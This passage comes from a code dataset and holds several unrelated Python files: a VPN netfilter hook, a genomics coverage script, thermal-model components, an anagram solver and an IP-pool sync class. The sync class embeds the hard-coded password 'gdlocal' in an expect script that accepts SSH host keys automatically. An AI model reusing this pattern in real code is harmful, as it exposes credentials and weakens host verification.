os.environ['dev']\n\texcept:\n\t\tdevice = 'lo'\n\ttry:\n\t\tclient_ip = os.environ['untrusted_ip']\n\t\tclient_port = os.environ['untrusted_port']\n\texcept:\n\t\tclient_ip = '127.0.0.1'\n\t\tclient_port = '0'\n\n\tif len(sys.argv) < 3:\n\t\tprint(\"Forgot something, like, arguments?\")\n\t\tprint(\"USAGE: %s
[cn]\" % sys.argv[0])\n\t\tsys.exit(1)\n\n\toperation = sys.argv[1]\n\taddress = sys.argv[2]\n\tif len(sys.argv) == 4:\n\t\tcn = sys.argv[3]\n\telse:\n\t\tcn = None\n\n\tif operation == 'add':\n\t\tcef('User Login Successful|OpenVPN endpoint connected', 'src='+client_ip+' spt='+client_port+' dst='+address+' suser='+cn)\n\t\tadd_chain(address, cn, device)\n\telif operation == 'update':\n\t\tcef('User Login Successful|OpenVPN endpoint re-connected', 'src='+client_ip+' spt='+client_port+' dst='+address+' suser='+cn)\n\t\tupdate_chain(address, cn, device)\n\telif operation == 'delete':\n\t\tcef('User Login Successful|OpenVPN endpoint disconnected', 'dst='+address)\n\t\tdel_chain(address, device)\n\telse:\n\t\tlog('Unknown operation')\n\tsys.exit(0)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"netfilter.py","file_name":"netfilter.py","file_ext":"py","file_size_in_byte":6616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"579340031","text":"\"\"\"What is the depth of coverage for each wgs indel\n in the wxs data?\n Use this to pul coverage from all wxs samples,\n one sample at a time.\"\"\"\nimport sys, csv\n\ndef loadDepths(mpileupFile):\n depths = {}\n with open(mpileupFile) as f:\n for line in f:\n sp = line.strip().split('\\t')\n chrom = sp[0]\n pos = sp[1]\n depth = int(sp[3])\n depths[chrom + ':' + pos] = depth\n return depths \n\ndef ann(indelTabFile, mpileupFile, outFile):\n depths = loadDepths(mpileupFile)\n with open(indelTabFile) as f, open(outFile, 'w') as fout:\n reader = csv.DictReader(f, delimiter='\\t')\n header = reader.fieldnames\n print('\\t'.join(header + ['wxsCov']),\n file=fout)\n for row in reader:\n key1 = row['chrom'] + ':' + row['pos']\n key2 = row['chrom'] + ':' + str(int(row['pos'])-1)\n key3 = row['chrom'] + ':' + str(int(row['pos'])+1)\n depth = 0\n if key1 in depths:\n depth = depths[key1]\n elif key2 in depths:\n depth = depths[key2]\n elif key3 in depths:\n depth = depths[key3]\n print('\\t'.join( [row[x] for x in header]\n + [str(depth)] ),\n file=fout)\n \nif __name__ == \"__main__\":\n indelTabFile, m_mpileupFile, m_outFile = sys.argv[1:]\n ann(indelTabFile, m_mpileupFile, m_outFile)","sub_path":"code/scripts/annWxsCovSimple.py","file_name":"annWxsCovSimple.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"644800416","text":"import json\nfrom datetime import date, datetime\n\nimport requests\n\n\ndef json_serial(obj):\n \"\"\"JSON serializer for objects not serializable by default json code\"\"\"\n\n if isinstance(obj, (datetime, date)):\n return obj.isoformat()\n raise TypeError (\"Type %s not serializable\" % type(obj))\n\nclass server_api():\n def __init__(self, daemon_config, task_id):\n self.daemon_config = daemon_config\n self.task_id = task_id\n self.result = {}\n self._update_result()\n\n def _update_result(self, new_result=None):\n if new_result:\n self.result = {**self.result, **new_result}\n ret = requests.post('{}/testresult/{}'.format(self.daemon_config['server_url'],\n self.task_id),\n json=json.dumps(self.result, default=json_serial))\n if ret.status_code != 200:\n raise AssertionError('Updating the results to server failed')\n","sub_path":"sample-scripts/robotest_utilities/src/robotest_utilities/server_api.py","file_name":"server_api.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"630515627","text":"# -*- coding: utf-8 -*-\n# © 2019 Comunitea\n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).\nfrom openerp.addons.connector.connector import ConnectorEnvironment\n\n\ndef get_environment(session, model_name, backend_id):\n \"\"\" Create an environment to work with. \"\"\"\n backend_record = session.env[\"bananas.backend\"].browse(backend_id)\n env = ConnectorEnvironment(backend_record, session, model_name)\n return env\n","sub_path":"project-addons/connector_20_bananas/connector.py","file_name":"connector.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"339514164","text":"#!/usr/bin/python\n# -*- coding:UTF-8 -*-\n#**********************************************\t#\n# Master and Slave Handshake Protocal \t\t\t#\n# AutoPanic主从服务器通信协议\t #\n#----------------------------------------------\t#\n# @Author: Cyril\t\t\t\t\t\t\t\t#\n# @Mail: 848873227@qq.com #\n# @Create: 2019-06-08\t\t\t\t\t\t\t#\n# @Tips: \t\t\t #\n#**********************************************\t#\n\nfrom jc import utils as jcu\nimport os\nimport re\nimport sys\n\nclass IP_Pool:\n\tip_pool = [] # 二维数组\n\tconf_path = \"/tmp/autopanic_ips_stats.csv\"\n\ttmp_csv_file = \"/tmp/1.csv\"\n\torigin_data=[\n\t\t[\"Station\", \"IP\", \"Stats\", \"role\"],\n\t\t[\"s1\", \"172.21.156.46\", \"Online\", \"master\"],\n\t\t[\"s2\", \"172.21.204.237\", \"Online\", \"slave\"],\n\t\t[\"s3\", \"172.21.204.238\", \"Online\", \"slave\"],\n\t\t[\"s4\", \"172.21.204.239\", \"Online\", \"slave\"],\n\t]\n\n\tdef __init__(self, conf_path=conf_path, remotePool=False):\n\t\tself.sys_ver = sys.version\n\t\tself.ip_pool=jcu.readCSVFile(conf_path)\n\t\tif self.ip_pool and len(self.ip_pool) > 0:\n\t\t\t#print(\"Init failed. Make a new config-%s\" %conf_path)\n\t\t\t#jcu.writeCSVFile(conf_path, self.origin_data)\n\t\t\tself.ip_pool.remove(self.ip_pool[0])\n\n\t\tif os.path.exists(conf_path) and remotePool:\n\t\t\tconf_parent_path = os.path.split()[0]\n\t\t\tpass\n\n\n\tdef run_IP_Pool(self):\n\t\tpass\n\n\tdef setIPStats(self, IP, Stats=\"Online\"):\n\t\t\"\"\"\n\t\t# Add/Update IPStats to local IP_Pool\n\t\t# 请勿直接调用此方法\n\t\t:param IP:\n\t\t:param Stats: Online/Offline (str)\n\t\t:return: True/False\n\t\t\"\"\"\n\t\tprint (self.ip_pool)\n\n\tdef fullSync(self, remoteIP, syncFileOrDir, reverse=False, remoteUser=\"gdlocal\", remotePWD=\"gdlocal\"):\n\t\t\"\"\"\n\t\t# Full synchronization\n\t\t# 两个工站进行全量同步 (旧版本不会覆盖新版本文件)\n\t\t:param remoteIP: 远程工站IP需手动指定\n\t\t:param syncFileOrDir: 要同步的文件或文件夹\n\t\t:param reverse: 是否反向同步 True/False\n\t\t\t\t\t\t# False: 正向同步,直接覆盖远程文件\n\t\t\t\t\t\t# True: 反向同步,即下载远程文件到本地临时文件/tmp/1.csv\n\t\t:param remoteUser: 被同步文件工站用户名\n\t\t:param remoteUser: 被同步文件工站用户密码\n\t\t:return: True/False\n\t\t\"\"\"\n\t\tif not re.match(\"\\d+.\\d+.\\d+.\\d+\", remoteIP):\n\t\t\tprint(\"'IP' is invalid type.\")\n\t\t\texit(1)\n\n\t\t(dir, filename) = os.path.split(syncFileOrDir)\n\t\t## -u 同步时旧版本不会覆盖新版本\n\t\tif reverse:\n\t\t\tsync_cmd = \"/usr/bin/rsync -avu %s@%s://%s %s\" %( remoteUser, remoteIP, syncFileOrDir, self.tmp_csv_file)\n\t\telse:\n\t\t\tsync_cmd = \"/usr/bin/rsync -avu %s %s@%s://%s\" % (syncFileOrDir, remoteUser, remoteIP, dir)\n\t\tprint(\"sync_cmd=%s\" % sync_cmd)\n\t\tcmd = \"\"\"\n\texpect << EOF\n\tset timeout 3\n\tspawn %s\n\texpect {\n\t\t\t-re \"Are you sure you want to continue connecting (yes/no)?\" { send \"yes\\r\"; exp_continue }\n\t -re \"Password:\" { send \"%s\\r\"; exp_continue }\n\t -re \"total size is\" { exit 0}\n\t timeout {\n\t send_user \"Timeout...exit.\\r\" ;\n\t exit 1\n\t }\n\t eof {\n\t send_user \"EOF finish.\\r\" ;\n\t exit 2\n\t }\n\t}\n\tEOF\n\t \"\"\" %(sync_cmd, remotePWD)\n\n\t\t(res, rev) = jcu.readCMD(cmd, True)\n\t\tif res == 0:\n\t\t\tprint(\"Get remote file successul. [IP:%s]\" % remoteIP)\n\t\telse: ## rsync 有可能失败,尝试重试\n\t\t\t(res, rev) = jcu.readCMD(cmd, True)\n\t\t\tif res != 0:\n\t\t\t\tprint(\"Get remote file failed. [IP:%s], exiting...\" % remoteIP)\n\t\t\t\treturn False\n\t\t\telse:\n\t\t\t\tprint(\"Retry get remote file successul. [IP:%s]\" % remoteIP)\n\t\treturn True\n\n\tdef increSync(self, remoteIP, syncFileOrDir, remoteUser=\"gdlocal\", remotePWD=\"gdlocal\"):\n\t\t\"\"\"\n\t\t# Incremental synchronization\n\t\t# 两个工站进行增量同步 (其中一个是本机)\n\t\t# Tips: 适用于单文件单增量同步,传入单syncFileOrDir若是文件夹则可能失败\n\t\t:param remoteIP: 远程工站IP需手动指定\n\t\t:param syncFileOrDir: 要同步的文件或文件夹\n\t\t:param reverse: 是否反向同步 True/False, 默认正向同步False\n\t\t:param remoteUser: 被同步文件工站用户名\n\t\t:param remoteUser: 被同步文件工站用户密码\n\t\t:return: True/False\n\t\t\"\"\"\n\t\tif not os.path.isfile(syncFileOrDir):\n\t\t\tprint(\"'%s' should be a exist file path.\" %syncFileOrDir)\n\t\t\t# return False\n\n\t\t# 反向同步,即下载远程文件到本地. 如果失败则退出。\n\t\tif not self.fullSync(remoteIP, syncFileOrDir, True, remoteUser, remotePWD):\n\t\t\tprint(\"Failed: Can't get remote file from [IP:%s].\" %remoteIP )\n\t\t\treturn False\n\n\t\tremote_data = jcu.readCSVFile(self.tmp_csv_file)\n\t\tlocal_data = jcu.readCSVFile(syncFileOrDir)\n\t\tjcu.readCMD([\"rm -rf %s\" %self.tmp_csv_file], True )\n\t\t## 将本地数据与远程数据对比合并重复项,并写入新数据\n\t\tif remote_data and local_data and remote_data == local_data:\n\t\t\t## 如果数据对比相同则不写入新数据和远程同步\n\t\t\treturn True\n\t\telse:\n\t\t\tnew_data = self.mergeLists(remote_data, local_data)\n\t\t\t# 清空原数据表\n\t\t\twith open(syncFileOrDir, \"w\") as f:\n\t\t\t\tf.write(\"\")\n\t\t\tjcu.writeCSVFile(syncFileOrDir, new_data)\n\t\t\tif self.fullSync(remoteIP, syncFileOrDir, False, remoteUser, remotePWD):\n\t\t\t\treturn True\n\t\treturn False\n\n\tdef increSyncAll(self, syncFileOrDir=\"\", remoteUser=\"gdlocal\", remotePWD=\"gdlocal\", remoteIP_list=[]):\n\t\tif not remoteIP_list and not isinstance( remoteIP_list, list):\n\t\t\tprint(\"remoteIP_list should be type of list.\")\n\t\t\treturn None\n\t\tprint(\"remote IP list:%s\" %(str(remoteIP_list)))\n\t\tfailIP = []\n\t\tfor remoteIP in remoteIP_list:\n\t\t\tif not self.increSync(remoteIP, syncFileOrDir, remoteUser, remotePWD):\n\t\t\t\tfailIP.append(remoteIP)\n\t\tprint(\"increSyncAll failed IPs:%s\" %(str(failIP)))\n\t\treturn failIP\n\n\tdef fullSyncAll(self, syncFileOrDir=\"\",remoteUser=\"gdlocal\", remotePWD=\"gdlocal\", remoteIP_list=[]):\n\t\tif not remoteIP_list and not isinstance(remoteIP_list, list):\n\t\t\tprint(\"remoteIP_list should be type of list.\")\n\t\t\treturn None\n\t\tprint(\"remote IP list:%s\" % (str(remoteIP_list)))\n\t\tfailIP = []\n\t\tfor remoteIP in remoteIP_list:\n\t\t\tif not self.fullSync(remoteIP, syncFileOrDir, False, remoteUser, remotePWD):\n\t\t\t\tfailIP.append(remoteIP)\n\t\tprint(\"increSyncAll failed IPs:%s\" % (str(failIP)))\n\t\treturn failIP\n\n\tdef mergeLists(self, *args):\n\t\t\"\"\"\n\t\t# 合并所有的list,自动去除相同项\n\t\t:param data_1:\n\t\t:param data_2:\n\t\t:return: merged list (set)\n\t\t\"\"\"\n\t\tif not args:\n\t\t\treturn []\n\t\tmerged_list = set()\n\t\tfor item in args:\n\t\t\tif not item:\n\t\t\t\tcontinue\n\t\t\tfor i_list in item:\n\t\t\t\ttry:\n\t\t\t\t\tmerged_list.add(tuple(i_list))\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tprint(\"item-%s added failed.\" % str(i_list))\n\t\t\t\t\tprint(e)\n\t\t\t\t\tcontinue\n\n\t\treturn sorted(merged_list, key=lambda x: x[0], reverse=False)\n\n\ndef main():\n\t\"\"\"\n\t## Python的入口开始\n\t:return:\n\t\"\"\"\n\tmodule = sys.modules[__name__]\n\t# getattr() 函数用于返回一个对象属性值。\n\t# sys.argv 是获取运行python文件的时候命令行参数,且以list形式存储参数\n\t# sys.argv[0] 代表当前module的名字\n\ttry:\n\t\tfunc = getattr(module, sys.argv[1])\n\texcept Exception as e:\n\t\tprint(e)\n\telse:\n\t\targs = None\n\t\tif len(sys.argv) > 1:\n\t\t\targs = sys.argv[2:]\n\t\t\t#print(\"DEBUG: args = %s\" %args)\n\t\t\tfunc(*args)\n\n\nif __name__ == \"__main__\":\n\tipp = IP_Pool()\n\t#print (ipp.ip_pool)\n\tprint(\"==>\")\n\t#print(ipp.increSync(\"172.21.204.238\", \"/tmp/autopanic_ips_stats.csv\", remoteUser=\"gdlocal\", remotePWD=\"gdlocal\"))\n\t#print(ipp.increSyncAll( syncFileOrDir=\"/tmp/autopanic_ips_stats.csv\", remoteUser=\"gdlocal\", remotePWD=\"gdlocal\", remoteIP_list=[\"172.21.204.237\", \"172.21.204.238\",\"172.21.204.239\"]))\n\tprint(ipp.fullSyncAll(syncFileOrDir=\"/tmp/autopanic_ips_stats.csv\", remoteUser=\"gdlocal\", remotePWD=\"gdlocal\", remoteIP_list=[\"172.21.204.237\", \"172.21.204.238\", \"172.21.204.239\"]))\n\nelse:\n\tmain()","sub_path":"Python/IP_Pool.py","file_name":"IP_Pool.py","file_ext":"py","file_size_in_byte":7683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"634006815","text":"#!/usr/bin/env python3\n\ndef get_number_pairs(ssd):\n p = 0\n for n in ssd.values():\n p += n*(n-1)//2 \n return p\n\ndef get_substrings(s):\n ssd = dict()\n n = len(s)\n for k in range(1,n+1):\n sk = set()\n for i in range(0,n-k+1):\n ss = ''.join(sorted(s[i:i+k]))\n if ss in sk:\n ssd[ss] += 1\n else:\n sk.add(ss)\n ssd[ss] = 1\n return ssd\n \ndef main():\n T = int(input().strip())\n for t in range(T):\n s = input().strip()\n ssd = get_substrings(s)\n print(get_number_pairs(ssd))\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"hacker-rank/01-algorithms/03-strings/sherlock-and-anagrams.py","file_name":"sherlock-and-anagrams.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"455637180","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\nimport numpy as np\nimport six\n\ntry:\n from Ska.Matplotlib import cxctime2plotdate, plot_cxctime\nexcept ImportError:\n pass\n\nfrom .. import tmal\n\n\nclass Param(dict):\n \"\"\"Model component parameter. Inherits from dict but adds attribute access\n for convenience.\n\n Parameters\n ----------\n\n Returns\n -------\n\n \"\"\"\n\n def __init__(\n self, comp_name, name, val, min=-1e38, max=1e38, fmt=\"{:.4g}\", frozen=False\n ):\n dict.__init__(self)\n self.comp_name = comp_name\n self.name = name\n self.val = val\n self.min = min\n self.max = max\n self.fmt = fmt\n self.frozen = frozen\n self.full_name = comp_name + \"__\" + name\n\n def __setattr__(self, attr, val):\n dict.__setitem__(self, attr, val)\n\n def __getattr__(self, attr):\n return dict.__getitem__(self, attr)\n\n\nclass ModelComponent(object):\n \"\"\"Model component base class\"\"\"\n\n def __init__(self, model):\n # This class overrides __setattr__ with a method that requires\n # the `pars` and `pars_dict` attrs to be visible. So do this\n # with the super (object) method right away.\n super(ModelComponent, self).__setattr__(\"pars\", [])\n super(ModelComponent, self).__setattr__(\"pars_dict\", {})\n\n self.model = model\n self.n_mvals = 0\n self.predict = False # Predict values for this model component\n self.data = None\n self.data_times = None\n\n n_parvals = property(lambda self: len(self.parvals))\n times = property(lambda self: self.model.times)\n\n @property\n def model_plotdate(self):\n if not hasattr(self, \"_model_plotdate\"):\n self._model_plotdate = cxctime2plotdate(self.model.times)\n return self._model_plotdate\n\n def add_par(self, name, val=None, min=-1e38, max=1e38, fmt=\"{:.4g}\", frozen=False):\n param = Param(self.name, name, val, min=min, max=max, fmt=fmt, frozen=frozen)\n self.pars_dict[name] = param\n self.pars.append(param)\n\n def _getAttributeNames(self):\n \"\"\"Add dynamic attribute names for IPython completer.\"\"\"\n return [par.name for par in self.pars]\n\n def __getattr__(self, attr):\n # The following is needed for the IPython completer\n if attr == \"trait_names\":\n return []\n\n if attr in self.pars_dict:\n return self.pars_dict[attr].val\n else:\n # This will raise the expected AttributeError exception\n return super(ModelComponent, self).__getattribute__(attr)\n\n def __setattr__(self, attr, val):\n if attr in self.pars_dict:\n self.pars_dict[attr].val = val\n else:\n super(ModelComponent, self).__setattr__(attr, val)\n\n def _set_mvals(self, vals):\n self.model.mvals[self.mvals_i, :] = vals\n\n def _get_mvals(self):\n return self.model.mvals[self.mvals_i, :]\n\n mvals = property(_get_mvals, _set_mvals)\n\n def get_par(self, name):\n for par in self.pars:\n if par.name == name:\n return par\n else:\n raise ValueError('No par named \"{}\" in {}', self.__class__.__name__)\n\n @property\n def name(self):\n return self.__str__()\n\n @property\n def parvals(self):\n return np.array([par.val for par in self.pars])\n\n @property\n def parnames(self):\n return [par.name for par in self.pars]\n\n def update(self):\n pass\n\n def set_data(self, data, times=None):\n self.data = data\n if times is not None:\n self.data_times = times\n\n def get_dvals_tlm(self):\n return np.zeros_like(self.model.times)\n\n @property\n def dvals(self):\n if not hasattr(self, \"_dvals\"):\n if self.data is None:\n dvals = self.get_dvals_tlm()\n elif isinstance(self.data, np.ndarray):\n dvals = self.model.interpolate_data(\n self.data, self.data_times, str(self)\n )\n elif isinstance(\n self.data,\n (six.integer_types, float, np.integer, np.floating, bool, str),\n ):\n if isinstance(self.data, six.string_types):\n dtype = \"S{}\".format(len(self.data))\n else:\n dtype = type(self.data)\n dvals = np.empty(self.model.n_times, dtype=dtype)\n dvals[:] = self.data\n else:\n raise ValueError(\n \"Data value '{}' and type '{}' for '{}' component \"\n \"not allowed \".format(self.data, type(self.data).__name__, self)\n )\n self._dvals = dvals\n return self._dvals\n\n\nclass TelemData(ModelComponent):\n times = property(lambda self: self.model.times)\n\n def __init__(\n self, model, msid, mval=True, data=None, fetch_attr=\"vals\", units=None\n ):\n super(TelemData, self).__init__(model)\n self.msid = msid\n self.n_mvals = 1 if mval else 0\n self.predict = False\n self.data = data\n self.data_times = None\n self.fetch_attr = fetch_attr\n self.units = units\n\n def get_dvals_tlm(self):\n return self.model.fetch(self.msid, attr=self.fetch_attr)\n\n def plot_data__time(self, fig, ax):\n lines = ax.get_lines()\n if not lines:\n plot_cxctime(\n self.model.times, self.dvals, ls=\"-\", color=\"#386cb0\", fig=fig, ax=ax\n )\n ax.grid()\n ax.set_title(\"{}: data\".format(self.name))\n ylabel = \"%s\" % self.name\n if self.units is not None:\n ylabel += \" (%s)\" % self.units\n ax.set_ylabel(ylabel)\n ax.margins(0.05)\n else:\n lines[0].set_data(self.model_plotdate, self.dvals)\n\n def __str__(self):\n return self.msid\n\n\nclass CmdStatesData(TelemData):\n def get_dvals_tlm(self):\n return self.model.cmd_states[self.msid]\n\n\nclass Node(TelemData):\n \"\"\"Time-series dataset for prediction.\n\n If the ``sigma`` value is negative then sigma is computed from the\n node data values as the specified percent of the data standard\n deviation. The default ``sigma`` value is -10, so this implies\n using a sigma of 10% of the data standard deviation. If ``sigma``\n is set to 0 then the fit statistic is set to 0.0 for this node.\n\n Parameters\n ----------\n model :\n parent model\n msid :\n MSID for telemetry data\n name :\n component name (default=``msid``)\n sigma :\n sigma value used in chi^2 fit statistic\n quant :\n use quantized stats (not currently implemented)\n predict :\n compute prediction for this node (default=True)\n mask :\n Mask component for masking values from fit statistic\n data :\n Node data (None or a single value)\n\n Returns\n -------\n\n \"\"\"\n\n def __init__(\n self,\n model,\n msid,\n sigma=-10,\n quant=None,\n predict=True,\n mask=None,\n name=None,\n data=None,\n fetch_attr=\"vals\",\n units=\"degC\",\n ):\n TelemData.__init__(\n self, model, msid, data=data, fetch_attr=fetch_attr, units=units\n )\n self._sigma = sigma\n self.quant = quant\n self.predict = predict\n self.mask = model.get_comp(mask)\n self._name = name or msid\n\n def __str__(self):\n return self._name\n\n @property\n def randx(self):\n \"\"\"Random X-offset for plotting which is a uniform distribution\n with width = self.quant or 1.0\n\n Parameters\n ----------\n\n Returns\n -------\n\n \"\"\"\n if not hasattr(self, \"_randx\"):\n dx = self.quant or 1.0\n self._randx = np.random.uniform(\n low=-dx / 2.0, high=dx / 2.0, size=self.model.n_times\n )\n return self._randx\n\n @property\n def sigma(self):\n if self._sigma < 0:\n self._sigma = self.dvals.std() * (-self._sigma / 100.0)\n return self._sigma\n\n @property\n def resids(self):\n resid = self.dvals - self.mvals\n # Zero out residuals for any masked times\n for i0, i1 in self.model.mask_times_indices:\n resid[i0:i1] = 0.0\n return resid\n\n def calc_stat(self):\n if self.sigma == 0:\n return 0.0\n resids = self.resids\n if self.mask is not None:\n resids = resids[self.mask.mask]\n return np.sum(resids**2 / self.sigma**2)\n\n def plot_data__time(self, fig, ax):\n lines = ax.get_lines()\n if not lines:\n plot_cxctime(\n self.model.times, self.mvals, ls=\"-\", color=\"#d92121\", fig=fig, ax=ax\n )\n plot_cxctime(\n self.model.times, self.dvals, ls=\"-\", color=\"#386cb0\", fig=fig, ax=ax\n )\n # Overplot bad time regions in cyan\n for i0, i1 in self.model.bad_times_indices:\n plot_cxctime(\n self.model.times[i0:i1],\n self.dvals[i0:i1],\n \"-c\",\n fig=fig,\n ax=ax,\n linewidth=5,\n alpha=0.5,\n )\n ax.grid()\n ax.set_title(\"{}: model (red) and data (blue)\".format(self.name))\n ax.set_ylabel(\"Temperature (%s)\" % self.units)\n else:\n lines[0].set_ydata(self.mvals)\n\n def plot_resid__time(self, fig, ax):\n lines = ax.get_lines()\n resids = self.resids\n if self.mask:\n resids[~self.mask.mask] = np.nan\n for i0, i1 in self.model.mask_times_indices:\n resids[i0:i1] = np.nan\n\n if not lines:\n plot_cxctime(\n self.model.times, resids, ls=\"-\", color=\"#386cb0\", fig=fig, ax=ax\n )\n # Overplot bad time regions in cyan\n for i0, i1 in self.model.bad_times_indices:\n plot_cxctime(\n self.model.times[i0:i1],\n resids[i0:i1],\n \"-c\",\n fig=fig,\n ax=ax,\n linewidth=5,\n alpha=0.5,\n )\n ax.grid()\n ax.set_title(\"{}: residuals (data - model)\".format(self.name))\n ax.set_ylabel(\"Temperature (%s)\" % self.units)\n else:\n lines[0].set_ydata(resids)\n ax.relim()\n ax.autoscale()\n\n def plot_resid__data(self, fig, ax):\n lines = ax.get_lines()\n resids = self.resids\n if self.mask:\n resids[~self.mask.mask] = np.nan\n for i0, i1 in self.model.mask_times_indices:\n resids[i0:i1] = np.nan\n\n if not lines:\n ax.plot(\n self.dvals + self.randx,\n resids,\n \"o\",\n markersize=0.25,\n color=\"#386cb0\",\n markeredgecolor=\"#386cb0\",\n )\n ax.grid()\n ax.set_title(\"{}: residuals (data - model) vs data\".format(self.name))\n ax.set_ylabel(\"Residuals (%s)\" % self.units)\n ax.set_ylabel(\"Temperature (%s)\" % self.units)\n else:\n lines[0].set_ydata(resids)\n ax.relim()\n ax.autoscale()\n\n\nclass Coupling(ModelComponent):\n \"\"\"\\\n First-order coupling between Nodes `node1` and `node2`\n ::\n\n dy1/dt = -(y1 - y2) / tau\n\n Parameters\n ----------\n\n Returns\n -------\n\n \"\"\"\n\n def __init__(self, model, node1, node2, tau):\n ModelComponent.__init__(self, model)\n self.node1 = self.model.get_comp(node1)\n self.node2 = self.model.get_comp(node2)\n self.add_par(\"tau\", tau, min=2.0, max=200.0)\n\n def update(self):\n self.tmal_ints = (\n tmal.OPCODES[\"coupling\"],\n self.node1.mvals_i, # y1 index\n self.node2.mvals_i, # y2 index\n )\n self.tmal_floats = (self.tau,)\n\n def __str__(self):\n return \"coupling__{0}__{1}\".format(self.node1, self.node2)\n\n\nclass Delay(ModelComponent):\n \"\"\"Delay mval from ``node`` by ``delay`` ksec\n\n See the example in examples/delay/. For a positive delay, the computed model\n value (``node.mval``) will be constant at the initial value for the first\n ``delay`` ksec. Conversely for a negative delay the values at the end will\n be constant for ``delay`` ksec.\n \"\"\"\n\n def __init__(self, model, node, delay=0):\n super().__init__(model)\n self.node = self.model.get_comp(node)\n self.add_par(\"delay\", delay, min=-40, max=40)\n\n def __str__(self):\n return f\"delay__{self.node}\"\n\n\nclass HeatSink(ModelComponent):\n \"\"\"Fixed temperature external heat bath\"\"\"\n\n def __init__(self, model, node, T=0.0, tau=20.0):\n ModelComponent.__init__(self, model)\n self.node = self.model.get_comp(node)\n self.add_par(\"T\", T, min=-100.0, max=100.0)\n self.add_par(\"tau\", tau, min=2.0, max=200.0)\n\n def update(self):\n self.tmal_ints = (tmal.OPCODES[\"heatsink\"], self.node.mvals_i) # dy1/dt index\n self.tmal_floats = (self.T, self.tau)\n\n def __str__(self):\n return \"heatsink__{0}\".format(self.node)\n\n\nclass HeatSinkRef(ModelComponent):\n \"\"\"Fixed temperature external heat bath, reparameterized so that varying\n tau does not affect the mean model temperature. This requires an extra\n non-fitted parameter T_ref which corresponds to a reference temperature for\n the node.::\n\n dT/dt = U * (Te - T)\n = P + U* (T_ref - T) # reparameterization\n\n P = U * (Te - T_ref)\n Te = P / U + T_ref\n\n In code below, \"T\" corresponds to \"Te\" above. The \"T\" above is node.dvals.\n\n Parameters\n ----------\n\n Returns\n -------\n\n \"\"\"\n\n def __init__(self, model, node, T=0.0, tau=20.0, T_ref=20.0):\n ModelComponent.__init__(self, model)\n self.node = self.model.get_comp(node)\n self.add_par(\"P\", (T - T_ref) / tau, min=-10.0, max=10.0)\n self.add_par(\"tau\", tau, min=2.0, max=200.0)\n self.add_par(\"T_ref\", T_ref, min=-100, max=100)\n\n def update(self):\n self.tmal_ints = (tmal.OPCODES[\"heatsink\"], self.node.mvals_i) # dy1/dt index\n self.tmal_floats = (self.P * self.tau + self.T_ref, self.tau)\n\n def __str__(self):\n return \"heatsink__{0}\".format(self.node)\n\n\nclass Pitch(TelemData):\n def __init__(self, model):\n TelemData.__init__(self, model, \"pitch\", units=\"deg\")\n\n def get_dvals_tlm(self):\n vals = self.model.fetch(self.msid, attr=self.fetch_attr)\n # Pitch values outside of 45 to 180 are not possible. Normally\n # this is geniune bad data that gets sent down in safe mode when\n # the spacecraft is at normal sun. So set these values to 90.\n bad = (vals >= 180.0) | (vals <= 45.0)\n vals[bad] = 90.0\n # Spacecraft must operate between 45 and 180 degrees pitch, so clip\n # values to that range.\n vals.clip(45.001, 179.999, out=vals)\n return vals\n\n def __str__(self):\n return \"pitch\"\n\n\nclass AcisFPtemp(Node):\n \"\"\"Make a wrapper around MSID FPTEMP_11 because that currently comes from\n the eng_archive in K instead of C.\n\n Parameters\n ----------\n\n Returns\n -------\n\n \"\"\"\n\n def __init__(self, model, mask=None):\n Node.__init__(self, model, \"fptemp_11\", mask=mask)\n\n def get_dvals_tlm(self):\n fptemp = self.model.fetch(self.msid, \"vals\", \"nearest\")\n return fptemp - 273.15\n\n def __str__(self):\n return \"fptemp\"\n\n\nclass Eclipse(TelemData):\n def __init__(self, model):\n TelemData.__init__(self, model, \"aoeclips\")\n self.n_mvals = 1\n self.fetch_attr = \"midvals\"\n self.fetch_method = \"nearest\"\n\n def get_dvals_tlm(self):\n aoeclips = self.model.fetch(self.msid, \"vals\", \"nearest\")\n return aoeclips == \"ECL \"\n\n def update(self):\n self.mvals = np.where(self.dvals, 1, 0)\n\n def __str__(self):\n return \"eclipse\"\n\n\nclass SimZ(TelemData):\n def __init__(self, model):\n TelemData.__init__(self, model, \"sim_z\")\n\n def get_dvals_tlm(self):\n sim_z_mm = self.model.fetch(self.msid)\n return np.rint(sim_z_mm * -397.7225924607)\n\n\nclass Roll(TelemData):\n def __init__(self, model):\n TelemData.__init__(self, model, \"roll\", units=\"deg\")\n","sub_path":"xija/component/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":16544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"188029778","text":"\n\n\nclass VarianceCounter:\n\n\n def count(self,arrA,arrB,k):\n na = float(len(arrA))\n nb = float(len(arrB))\n n = na + nb\n\n A = 1/(n*k)\n B = (na*nb)/(n*n)\n C = 4*((na*na*nb*nb)/(n*n*n*n))\n\n return A * (B + C)","sub_path":"counters/VarianceCounter.py","file_name":"VarianceCounter.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"81685074","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# pylint: disable=line-too-long, invalid-name\n\n\"\"\"\"Utility functions\n\nJon Vandermause\n\"\"\"\n\nimport os\nimport subprocess\nimport json\nimport time\nimport copy\nimport datetime\n\nimport numpy as np\nimport scipy as sp\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import minimize\n\nfrom sklearn.gaussian_process import GaussianProcessRegressor\nfrom sklearn.gaussian_process.kernels import RBF\n\n\n# 